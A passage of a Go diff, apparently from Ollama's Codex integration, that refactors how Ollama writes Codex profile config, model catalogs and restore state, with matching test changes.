return removeCodexFile(catalogPath)
|
||||
}
|
||||
|
||||
func removeCodexFile(path string) error {
|
||||
if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func codexValidateExtraArgs(args []string) error {
|
||||
for i, arg := range args {
|
||||
switch {
|
||||
case arg == "-p", strings.HasPrefix(arg, "-p"):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
|
||||
case arg == "--profile", strings.HasPrefix(arg, "--profile="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
|
||||
case arg == "-m", strings.HasPrefix(arg, "-m"):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
|
||||
case arg == "--model", strings.HasPrefix(arg, "--model="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
|
||||
case arg == "-c", arg == "--config":
|
||||
if i+1 < len(args) && codexConfigOverrideConflicts(args[i+1]) {
|
||||
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", args[i+1])
|
||||
}
|
||||
case strings.HasPrefix(arg, "-c") && len(arg) > len("-c"):
|
||||
if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "-c")) {
|
||||
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
|
||||
}
|
||||
case strings.HasPrefix(arg, "--config="):
|
||||
if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "--config=")) {
|
||||
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func codexManagedConfigOverrides(modelCatalogPath string) []string {
|
||||
overrides := []string{
|
||||
fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
|
||||
fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
|
||||
fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
|
||||
fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
|
||||
}
|
||||
if modelCatalogPath != "" {
|
||||
overrides = append(overrides, fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, modelCatalogPath))
|
||||
}
|
||||
return overrides
|
||||
}
|
||||
|
||||
func codexConfigOverrideConflicts(value string) bool {
|
||||
key, _, ok := strings.Cut(strings.TrimSpace(value), "=")
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
key = strings.TrimSpace(key)
|
||||
key = strings.Trim(key, `"'`)
|
||||
switch {
|
||||
case key == codexRootProfileKey,
|
||||
key == codexRootModelKey,
|
||||
key == codexRootModelProviderKey,
|
||||
key == codexRootModelCatalogJSONKey:
|
||||
return true
|
||||
case strings.HasPrefix(key, "model_providers."):
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ensureCodexConfig writes a Codex profile file and model catalog so Codex uses
|
||||
// the local Ollama server without changing app-visible root config.
|
||||
func ensureCodexConfig(modelName string, models []LaunchModel) error {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
@@ -79,13 +215,17 @@ func ensureCodexConfig(modelName string, models []LaunchModel) error {
|
||||
if err := os.MkdirAll(codexDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := cleanupCodexLegacyProfileConfig(configPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
catalogPath := codexModelCatalogPathForConfig(configPath)
|
||||
if err := writeCodexModelCatalog(catalogPath, codexCatalogModel(modelName, models)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return writeCodexProfile(configPath, catalogPath)
|
||||
profilePath := codexProfileConfigPathForConfig(configPath)
|
||||
return writeCodexProfileConfig(profilePath, modelName, catalogPath)
|
||||
}
|
||||
|
||||
func codexConfigPath() (string, error) {
|
||||
@@ -108,123 +248,90 @@ func codexModelCatalogPathForConfig(configPath string) string {
|
||||
return filepath.Join(filepath.Dir(configPath), "model.json")
|
||||
}
|
||||
|
||||
// writeCodexProfile ensures ~/.codex/config.toml has the ollama-launch profile
|
||||
// and model provider sections with the correct base URL.
|
||||
func writeCodexProfile(configPath string, modelCatalogPath ...string) error {
|
||||
opts := codexLaunchProfileOptions{
|
||||
forceAPIAuth: true,
|
||||
func codexProfileConfigPath() (string, error) {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(modelCatalogPath) > 0 {
|
||||
opts.modelCatalogPath = modelCatalogPath[0]
|
||||
}
|
||||
return writeCodexLaunchProfile(configPath, opts)
|
||||
return codexProfileConfigPathForConfig(configPath), nil
|
||||
}
|
||||
|
||||
type codexLaunchProfileOptions struct {
|
||||
activate bool
|
||||
profileName string
|
||||
forceAPIAuth bool
|
||||
setRootModelConfig bool
|
||||
model string
|
||||
modelCatalogPath string
|
||||
backupIntegration string
|
||||
func codexProfileConfigPathForConfig(configPath string) string {
|
||||
return codexNamedProfileConfigPathForConfig(configPath, codexProfileName)
|
||||
}
|
||||
|
||||
func writeCodexLaunchProfile(configPath string, opts codexLaunchProfileOptions) error {
|
||||
baseURL := codexBaseURL()
|
||||
profileName := codexLaunchProfileName(opts)
|
||||
profileHeader := codexProfileHeaderFor(profileName)
|
||||
providerHeader := codexProviderHeaderFor(profileName)
|
||||
func codexNamedProfileConfigPathForConfig(configPath, profileName string) string {
|
||||
return filepath.Join(filepath.Dir(configPath), profileName+".config.toml")
|
||||
}
|
||||
|
||||
content, readErr := os.ReadFile(configPath)
|
||||
text := ""
|
||||
if readErr == nil {
|
||||
text = string(content)
|
||||
} else if !os.IsNotExist(readErr) {
|
||||
return readErr
|
||||
func cleanupCodexLegacyProfileConfig(configPath string) error {
|
||||
content, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
text := string(content)
|
||||
parsed, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
model := strings.TrimSpace(opts.model)
|
||||
if model == "" {
|
||||
model = parsed.ProfileString(profileName, codexRootModelKey)
|
||||
updated := text
|
||||
if profile, ok := parsed.RootStringOK(codexRootProfileKey); ok && profile == codexProfileName {
|
||||
updated = codexRemoveRootValue(updated, codexRootProfileKey)
|
||||
}
|
||||
modelCatalogPath := strings.TrimSpace(opts.modelCatalogPath)
|
||||
if modelCatalogPath == "" {
|
||||
modelCatalogPath = parsed.ProfileString(profileName, codexRootModelCatalogJSONKey)
|
||||
if parsed.Exists("profiles", codexProfileName) {
|
||||
updated = codexRemoveSection(updated, codexProfileHeader())
|
||||
}
|
||||
if updated == text {
|
||||
return nil
|
||||
}
|
||||
if err := codexValidateConfigText(updated); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, []byte(updated), "")
|
||||
}
|
||||
|
||||
profileLines := []string{}
|
||||
if model != "" {
|
||||
profileLines = append(profileLines, fmt.Sprintf("%s = %q", codexRootModelKey, model))
|
||||
}
|
||||
profileLines = append(profileLines,
|
||||
fmt.Sprintf("openai_base_url = %q", baseURL),
|
||||
fmt.Sprintf("%s = %q", codexRootModelProviderKey, profileName),
|
||||
)
|
||||
if opts.forceAPIAuth {
|
||||
profileLines = append(profileLines, `forced_login_method = "api"`)
|
||||
}
|
||||
if modelCatalogPath != "" {
|
||||
profileLines = append(profileLines, fmt.Sprintf("%s = %q", codexRootModelCatalogJSONKey, modelCatalogPath))
|
||||
}
|
||||
// writeCodexProfileConfig ensures ~/.codex/ollama-launch.config.toml selects
|
||||
// the Ollama provider and catalog for CLI launches without changing root config.
|
||||
func writeCodexProfileConfig(profilePath, model, modelCatalogPath string) error {
|
||||
return writeCodexNamedProfileConfig(profilePath, codexProfileName, model, modelCatalogPath, "")
|
||||
}
|
||||
|
||||
sections := []struct {
|
||||
header string
|
||||
lines []string
|
||||
}{
|
||||
{
|
||||
header: profileHeader,
|
||||
lines: profileLines,
|
||||
},
|
||||
{
|
||||
header: providerHeader,
|
||||
lines: []string{
|
||||
fmt.Sprintf("name = %q", codexProviderName),
|
||||
fmt.Sprintf("base_url = %q", baseURL),
|
||||
`wire_api = "responses"`,
|
||||
},
|
||||
},
|
||||
}
|
||||
func writeCodexNamedProfileConfig(profilePath, profileName, model, modelCatalogPath, backupSubdir string) error {
|
||||
baseURL := codexBaseURL()
|
||||
|
||||
if opts.activate {
|
||||
text = codexSetRootStringValue(text, codexRootProfileKey, profileName)
|
||||
var lines []string
|
||||
if strings.TrimSpace(model) != "" {
|
||||
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelKey, model))
|
||||
}
|
||||
if opts.setRootModelConfig {
|
||||
if model != "" {
|
||||
text = codexSetRootStringValue(text, codexRootModelKey, model)
|
||||
}
|
||||
text = codexSetRootStringValue(text, codexRootModelProviderKey, profileName)
|
||||
if modelCatalogPath != "" {
|
||||
text = codexSetRootStringValue(text, codexRootModelCatalogJSONKey, modelCatalogPath)
|
||||
}
|
||||
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelProviderKey, profileName))
|
||||
if strings.TrimSpace(modelCatalogPath) != "" {
|
||||
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelCatalogJSONKey, modelCatalogPath))
|
||||
}
|
||||
text := strings.Join(lines, "\n") + "\n\n"
|
||||
text += strings.Join([]string{
|
||||
codexProviderHeaderFor(profileName),
|
||||
fmt.Sprintf("name = %q", codexProviderName),
|
||||
fmt.Sprintf("base_url = %q", baseURL),
|
||||
`wire_api = "responses"`,
|
||||
"",
|
||||
}, "\n")
|
||||
|
||||
for _, s := range sections {
|
||||
text = codexUpsertSection(text, s.header, s.lines)
|
||||
}
|
||||
parsed, err = codexParseConfig(text)
|
||||
parsed, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := codexValidateLaunchProfileText(parsed, profileName, opts, model, modelCatalogPath, baseURL); err != nil {
|
||||
if err := codexValidateProfileConfigText(parsed, profileName, model, modelCatalogPath, baseURL); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, []byte(text), opts.backupIntegration)
|
||||
}
|
||||
|
||||
func codexLaunchProfileName(opts codexLaunchProfileOptions) string {
|
||||
if name := strings.TrimSpace(opts.profileName); name != "" {
|
||||
return name
|
||||
}
|
||||
return codexProfileName
|
||||
return fileutil.WriteWithBackup(profilePath, []byte(text), backupSubdir)
|
||||
}
|
||||
|
||||
func codexBaseURL() string {
|
||||
@@ -247,13 +354,14 @@ func codexProviderHeaderFor(profileName string) string {
|
||||
return fmt.Sprintf("[model_providers.%s]", profileName)
|
||||
}
|
||||
|
||||
func codexValidateLaunchProfileText(config codexParsedConfig, profileName string, opts codexLaunchProfileOptions, model, modelCatalogPath, baseURL string) error {
|
||||
func codexValidateProfileConfigText(config codexParsedConfig, profileName, model, modelCatalogPath, baseURL string) error {
|
||||
if config.Exists("profiles", profileName) {
|
||||
return fmt.Errorf("generated Codex config still contains legacy profiles.%s table", profileName)
|
||||
}
|
||||
for _, check := range []struct {
|
||||
path []string
|
||||
want string
|
||||
}{
|
||||
{[]string{"profiles", profileName, "openai_base_url"}, baseURL},
|
||||
{[]string{"profiles", profileName, codexRootModelProviderKey}, profileName},
|
||||
{[]string{"model_providers", profileName, "name"}, codexProviderName},
|
||||
{[]string{"model_providers", profileName, "base_url"}, baseURL},
|
||||
{[]string{"model_providers", profileName, "wire_api"}, "responses"},
|
||||
@@ -262,39 +370,20 @@ func codexValidateLaunchProfileText(config codexParsedConfig, profileName string
|
||||
return fmt.Errorf("generated Codex config missing %s = %q", strings.Join(check.path, "."), check.want)
|
||||
}
|
||||
}
|
||||
if opts.forceAPIAuth {
|
||||
if got, ok := config.String("profiles", profileName, "forced_login_method"); !ok || got != "api" {
|
||||
return fmt.Errorf("generated Codex config missing profiles.%s.forced_login_method = %q", profileName, "api")
|
||||
}
|
||||
if got, ok := config.RootStringOK(codexRootProfileKey); ok {
|
||||
return fmt.Errorf("generated Codex config still contains legacy profile = %q", got)
|
||||
}
|
||||
if got := config.RootString(codexRootModelProviderKey); got != profileName {
|
||||
return fmt.Errorf("generated Codex config missing model_provider = %q", profileName)
|
||||
}
|
||||
if model != "" {
|
||||
if got, ok := config.String("profiles", profileName, codexRootModelKey); !ok || got != model {
|
||||
return fmt.Errorf("generated Codex config missing profiles.%s.model = %q", profileName, model)
|
||||
if got := config.RootString(codexRootModelKey); got != model {
|
||||
return fmt.Errorf("generated Codex config missing model = %q", model)
|
||||
}
|
||||
}
|
||||
if modelCatalogPath != "" {
|
||||
if got, ok := config.String("profiles", profileName, codexRootModelCatalogJSONKey); !ok || got != modelCatalogPath {
|
||||
return fmt.Errorf("generated Codex config missing profiles.%s.model_catalog_json = %q", profileName, modelCatalogPath)
|
||||
}
|
||||
}
|
||||
if opts.activate {
|
||||
if got := config.RootString(codexRootProfileKey); got != profileName {
|
||||
return fmt.Errorf("generated Codex config missing profile = %q", profileName)
|
||||
}
|
||||
}
|
||||
if opts.setRootModelConfig {
|
||||
if model != "" {
|
||||
if got := config.RootString(codexRootModelKey); got != model {
|
||||
return fmt.Errorf("generated Codex config missing model = %q", model)
|
||||
}
|
||||
}
|
||||
if got := config.RootString(codexRootModelProviderKey); got != profileName {
|
||||
return fmt.Errorf("generated Codex config missing model_provider = %q", profileName)
|
||||
}
|
||||
if modelCatalogPath != "" {
|
||||
if got := config.RootString(codexRootModelCatalogJSONKey); got != modelCatalogPath {
|
||||
return fmt.Errorf("generated Codex config missing model_catalog_json = %q", modelCatalogPath)
|
||||
}
|
||||
if got := config.RootString(codexRootModelCatalogJSONKey); got != modelCatalogPath {
|
||||
return fmt.Errorf("generated Codex config missing model_catalog_json = %q", modelCatalogPath)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
@@ -356,6 +445,24 @@ func (c codexParsedConfig) String(path ...string) (string, bool) {
|
||||
return value, true
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) Exists(path ...string) bool {
|
||||
if len(path) == 0 {
|
||||
return false
|
||||
}
|
||||
var current any = c.values
|
||||
for _, part := range path {
|
||||
table, ok := current.(map[string]any)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
current, ok = table[part]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) RootString(key string) string {
|
||||
value, _ := c.RootStringOK(key)
|
||||
return value
|
||||
@@ -574,6 +681,7 @@ func codexRootLineHasKey(line, key string) bool {
|
||||
|
||||
func codexCatalogModel(modelName string, models []LaunchModel) LaunchModel {
|
||||
if model, ok := findLaunchModel(models, modelName); ok {
|
||||
model.Name = modelName
|
||||
return model.WithCloudLimits()
|
||||
}
|
||||
return fallbackLaunchModel(modelName)
|
||||
@@ -661,10 +769,10 @@ func checkCodexVersion() error {
|
||||
}
|
||||
|
||||
version := "v" + fields[len(fields)-1]
|
||||
minVersion := "v0.81.0"
|
||||
minVersion := "v0.134.0"
|
||||
|
||||
if semver.Compare(version, minVersion) < 0 {
|
||||
return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.81.0")
|
||||
return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.134.0")
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
+140
-20
@@ -85,14 +85,7 @@ func (c *CodexApp) ConfigureWithModels(primary string, models []LaunchModel) err
|
||||
if err := writeCodexAppModelCatalog(catalogPath, primary, codexAppCatalogModels(primary, models)); err != nil {
|
||||
return err
|
||||
}
|
||||
return writeCodexLaunchProfile(configPath, codexLaunchProfileOptions{
|
||||
activate: true,
|
||||
profileName: codexAppProfileName,
|
||||
setRootModelConfig: true,
|
||||
model: primary,
|
||||
modelCatalogPath: catalogPath,
|
||||
backupIntegration: codexAppIntegrationName,
|
||||
})
|
||||
return writeCodexAppConfig(configPath, primary, catalogPath)
|
||||
}
|
||||
|
||||
func (c *CodexApp) CurrentModel() string {
|
||||
@@ -160,7 +153,7 @@ func codexAppCatalogHealthy(config codexParsedConfig, profileName string) bool {
|
||||
if config.RootString(codexRootModelCatalogJSONKey) != catalogPath {
|
||||
return false
|
||||
}
|
||||
if config.ProfileString(profileName, codexRootModelCatalogJSONKey) != catalogPath {
|
||||
if config.Exists("profiles", profileName) && config.ProfileString(profileName, codexRootModelCatalogJSONKey) != catalogPath {
|
||||
return false
|
||||
}
|
||||
data, err := os.ReadFile(catalogPath)
|
||||
@@ -176,6 +169,69 @@ func codexAppCatalogHealthy(config codexParsedConfig, profileName string) bool {
|
||||
return len(catalog.Models) > 0
|
||||
}
|
||||
|
||||
func writeCodexAppConfig(configPath, model, modelCatalogPath string) error {
|
||||
baseURL := codexBaseURL()
|
||||
|
||||
content, readErr := os.ReadFile(configPath)
|
||||
text := ""
|
||||
if readErr == nil {
|
||||
text = string(content)
|
||||
} else if !os.IsNotExist(readErr) {
|
||||
return readErr
|
||||
}
|
||||
if _, err := codexParseConfig(text); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
text = codexRemoveRootValue(text, codexRootProfileKey)
|
||||
text = codexRemoveSection(text, codexProfileHeaderFor(codexAppProfileName))
|
||||
text = codexSetRootStringValue(text, codexRootModelKey, model)
|
||||
text = codexSetRootStringValue(text, codexRootModelProviderKey, codexAppProfileName)
|
||||
text = codexSetRootStringValue(text, codexRootModelCatalogJSONKey, modelCatalogPath)
|
||||
text = codexUpsertSection(text, codexProviderHeaderFor(codexAppProfileName), []string{
|
||||
fmt.Sprintf("name = %q", codexProviderName),
|
||||
fmt.Sprintf("base_url = %q", baseURL),
|
||||
`wire_api = "responses"`,
|
||||
})
|
||||
|
||||
parsed, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := codexValidateAppConfigText(parsed, model, modelCatalogPath, baseURL); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, []byte(text), codexAppIntegrationName)
|
||||
}
|
||||
|
||||
func codexValidateAppConfigText(config codexParsedConfig, model, modelCatalogPath, baseURL string) error {
|
||||
if got, ok := config.RootStringOK(codexRootProfileKey); ok {
|
||||
return fmt.Errorf("generated Codex App config still contains legacy profile = %q", got)
|
||||
}
|
||||
if config.Exists("profiles", codexAppProfileName) {
|
||||
return fmt.Errorf("generated Codex App config still contains legacy profiles.%s table", codexAppProfileName)
|
||||
}
|
||||
for _, check := range []struct {
|
||||
path []string
|
||||
want string
|
||||
}{
|
||||
{[]string{codexRootModelKey}, model},
|
||||
{[]string{codexRootModelProviderKey}, codexAppProfileName},
|
||||
{[]string{codexRootModelCatalogJSONKey}, modelCatalogPath},
|
||||
{[]string{"model_providers", codexAppProfileName, "name"}, codexProviderName},
|
||||
{[]string{"model_providers", codexAppProfileName, "base_url"}, baseURL},
|
||||
{[]string{"model_providers", codexAppProfileName, "wire_api"}, "responses"},
|
||||
} {
|
||||
if got, ok := config.String(check.path...); !ok || got != check.want {
|
||||
return fmt.Errorf("generated Codex App config missing %s = %q", strings.Join(check.path, "."), check.want)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *CodexApp) Onboard() error {
|
||||
return config.MarkIntegrationOnboarded(codexAppIntegrationName)
|
||||
}
|
||||
@@ -203,7 +259,7 @@ func (c *CodexApp) Run(_ string, _ []LaunchModel, args []string) error {
|
||||
if len(args) > 0 {
|
||||
return fmt.Errorf("codex-app does not accept extra arguments")
|
||||
}
|
||||
return codexAppLaunchOrRestart("Restart Codex to use Ollama?")
|
||||
return codexAppLaunchOrRestart("Restart Codex to use Ollama?", nil)
|
||||
}
|
||||
|
||||
func (c *CodexApp) Restore() error {
|
||||
@@ -221,7 +277,13 @@ func (c *CodexApp) Restore() error {
|
||||
if err := removeCodexAppRestoreState(); err != nil {
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
return codexAppLaunchOrRestart("Restart Codex to use your usual profile?")
|
||||
if err := removeCodexAppProfileConfig(); err != nil {
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
if err := codexAppRemoveOwnedCatalog(); err != nil {
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
return codexAppLaunchOrRestart("Restart Codex to use your usual profile?", nil)
|
||||
}
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
@@ -248,13 +310,16 @@ func (c *CodexApp) Restore() error {
|
||||
if err := fileutil.WriteWithBackup(configPath, []byte(text), codexAppIntegrationName); err != nil {
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
if err := removeCodexAppProfileConfig(); err != nil {
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
if err := codexAppRemoveOwnedCatalogIfUnused(text); err != nil {
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
if err := removeCodexAppRestoreState(); err != nil {
|
||||
return codexAppRestoreFailure(configPath, err)
|
||||
}
|
||||
return codexAppLaunchOrRestart("Restart Codex to use your usual profile?")
|
||||
return codexAppLaunchOrRestart("Restart Codex to use your usual profile?", nil)
|
||||
}
|
||||
|
||||
func codexAppRestoreFailure(configPath string, err error) error {
|
||||
@@ -298,6 +363,18 @@ func codexAppModelCatalogPath() (string, error) {
|
||||
return codexAppModelCatalogPathForConfig(configPath), nil
|
||||
}
|
||||
|
||||
func codexAppProfileConfigPath() (string, error) {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return codexAppProfileConfigPathForConfig(configPath), nil
|
||||
}
|
||||
|
||||
func codexAppProfileConfigPathForConfig(configPath string) string {
|
||||
return codexNamedProfileConfigPathForConfig(configPath, codexAppProfileName)
|
||||
}
|
||||
|
||||
func codexAppModelCatalogPathForConfig(configPath string) string {
|
||||
return filepath.Join(filepath.Dir(configPath), codexAppModelCatalogFilename)
|
||||
}
|
||||
@@ -327,14 +404,20 @@ func codexAppCatalogModels(primary string, models []LaunchModel) []LaunchModel {
|
||||
seen := make(map[string]bool, len(models)+1)
|
||||
out := make([]LaunchModel, 0, len(models)+1)
|
||||
add := func(model LaunchModel) {
|
||||
if model.Name == "" || seen[model.Name] {
|
||||
model.Name = strings.TrimSpace(model.Name)
|
||||
if model.Name == "" {
|
||||
return
|
||||
}
|
||||
seen[model.Name] = true
|
||||
key := codexAppCatalogModelKey(model.Name)
|
||||
if seen[key] {
|
||||
return
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, model)
|
||||
}
|
||||
|
||||
if model, ok := findLaunchModel(models, primary); ok {
|
||||
model.Name = primary
|
||||
add(model)
|
||||
} else {
|
||||
add(fallbackLaunchModel(primary))
|
||||
@@ -345,6 +428,10 @@ func codexAppCatalogModels(primary string, models []LaunchModel) []LaunchModel {
|
||||
return out
|
||||
}
|
||||
|
||||
func codexAppCatalogModelKey(name string) string {
|
||||
return strings.TrimSuffix(name, ":latest")
|
||||
}
|
||||
|
||||
type codexAppModelMetadata struct {
|
||||
contextWindow int
|
||||
inputModalities []string
|
||||
@@ -523,13 +610,13 @@ func codexAppLocalAppData() (string, error) {
|
||||
return filepath.Join(home, "AppData", "Local"), nil
|
||||
}
|
||||
|
||||
func codexAppLaunchOrRestart(prompt string) error {
|
||||
func codexAppLaunchOrRestart(prompt string, launchArgs []string) error {
|
||||
if !codexAppIsRunning() {
|
||||
return codexAppOpenApp()
|
||||
return codexAppOpenApp(launchArgs)
|
||||
}
|
||||
restartAppID := ""
|
||||
restartAppPath := ""
|
||||
if codexAppGOOS == "windows" {
|
||||
if len(launchArgs) == 0 && codexAppGOOS == "windows" {
|
||||
restartAppID = codexAppStartID()
|
||||
if restartAppID == "" {
|
||||
restartAppPath = codexAppRunPath()
|
||||
@@ -570,7 +657,7 @@ func codexAppLaunchOrRestart(prompt string) error {
|
||||
if restartAppPath != "" {
|
||||
return codexAppOpenPath(restartAppPath)
|
||||
}
|
||||
return codexAppOpenApp()
|
||||
return codexAppOpenApp(launchArgs)
|
||||
}
|
||||
|
||||
func codexAppForceQuitSupported() bool {
|
||||
@@ -603,7 +690,15 @@ func waitForCodexAppCondition(timeout time.Duration, done func() bool) error {
|
||||
return fmt.Errorf("Codex did not quit; quit it manually and re-run the command")
|
||||
}
|
||||
|
||||
func defaultCodexAppOpenApp() error {
|
||||
func defaultCodexAppOpenApp(args []string) error {
|
||||
if len(args) > 0 {
|
||||
cmd := exec.Command("codex", args...)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Env = append(os.Environ(), "OPENAI_API_KEY=ollama")
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
switch codexAppGOOS {
|
||||
case "windows":
|
||||
if path := codexAppAppPath(); path != "" {
|
||||
@@ -866,6 +961,10 @@ func codexAppRemoveOwnedCatalogIfUnused(text string) error {
|
||||
if codexAppRootReferencesCatalog(text) {
|
||||
return nil
|
||||
}
|
||||
return codexAppRemoveOwnedCatalog()
|
||||
}
|
||||
|
||||
func codexAppRemoveOwnedCatalog() error {
|
||||
if catalogPath, err := codexAppModelCatalogPath(); err == nil {
|
||||
if err := os.Remove(catalogPath); err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
@@ -876,6 +975,17 @@ func codexAppRemoveOwnedCatalogIfUnused(text string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeCodexAppProfileConfig() error {
|
||||
profilePath, err := codexAppProfileConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.Remove(profilePath); err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func codexAppRemoveOwnedRootValues(text string) string {
|
||||
config, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
@@ -953,6 +1063,12 @@ func saveCodexAppRestoreState(configPath string) error {
|
||||
return err
|
||||
}
|
||||
upgraded := codexAppRestoreStateFromText(configText)
|
||||
if codexAppRootStillManaged(configText) {
|
||||
// Legacy restore state did not record root model settings. If the
|
||||
// current config is still ours, do not save our generated root
|
||||
// values as the user's restore target.
|
||||
upgraded = codexAppRestoreState{}
|
||||
}
|
||||
upgraded.HadProfile = existing.HadProfile
|
||||
upgraded.Profile = existing.Profile
|
||||
return writeCodexAppRestoreState(upgraded)
|
||||
@@ -960,7 +1076,11 @@ func saveCodexAppRestoreState(configPath string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
return writeCodexAppRestoreState(codexAppRestoreStateFromText(configText))
|
||||
state := codexAppRestoreStateFromText(configText)
|
||||
if codexAppRootStillManaged(configText) {
|
||||
state = codexAppRestoreState{}
|
||||
}
|
||||
return writeCodexAppRestoreState(state)
|
||||
}
|
||||
|
||||
func codexAppRestoreStateHasRootConfig(data []byte) (bool, error) {
|
||||
|
||||
+260
-20
@@ -39,7 +39,7 @@ func withCodexAppProcessHooks(t *testing.T, isRunning func() bool, quit func() e
|
||||
codexAppIsRunning = isRunning
|
||||
codexAppHasWindow = isRunning
|
||||
codexAppQuitApp = quit
|
||||
codexAppOpenApp = open
|
||||
codexAppOpenApp = func([]string) error { return open() }
|
||||
t.Cleanup(func() {
|
||||
codexAppIsRunning = oldIsRunning
|
||||
codexAppQuitApp = oldQuit
|
||||
@@ -157,7 +157,7 @@ func TestCodexAppInstalledUsesMacBundleIDFallback(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexAppConfigureActivatesOllamaProfile(t *testing.T) {
|
||||
func TestCodexAppConfigureActivatesOllamaProviderWithoutLegacyProfile(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("OLLAMA_HOST", "http://127.0.0.1:9999")
|
||||
@@ -180,26 +180,20 @@ func TestCodexAppConfigureActivatesOllamaProfile(t *testing.T) {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
catalogPath, err := codexAppModelCatalogPath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := string(data)
|
||||
catalogPath, err := codexAppModelCatalogPath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for _, want := range []string{
|
||||
fmt.Sprintf(`profile = %q`, codexAppProfileName),
|
||||
`model = "llama3.2"`,
|
||||
fmt.Sprintf(`model_provider = %q`, codexAppProfileName),
|
||||
fmt.Sprintf(`model_catalog_json = %q`, catalogPath),
|
||||
codexProfileHeaderFor(codexAppProfileName),
|
||||
`model = "llama3.2"`,
|
||||
`openai_base_url = "http://127.0.0.1:9999/v1/"`,
|
||||
fmt.Sprintf(`model_provider = %q`, codexAppProfileName),
|
||||
`model_catalog_json = "`,
|
||||
codexProviderHeaderFor(codexAppProfileName),
|
||||
`name = "Ollama"`,
|
||||
`base_url = "http://127.0.0.1:9999/v1/"`,
|
||||
@@ -210,6 +204,12 @@ func TestCodexAppConfigureActivatesOllamaProfile(t *testing.T) {
|
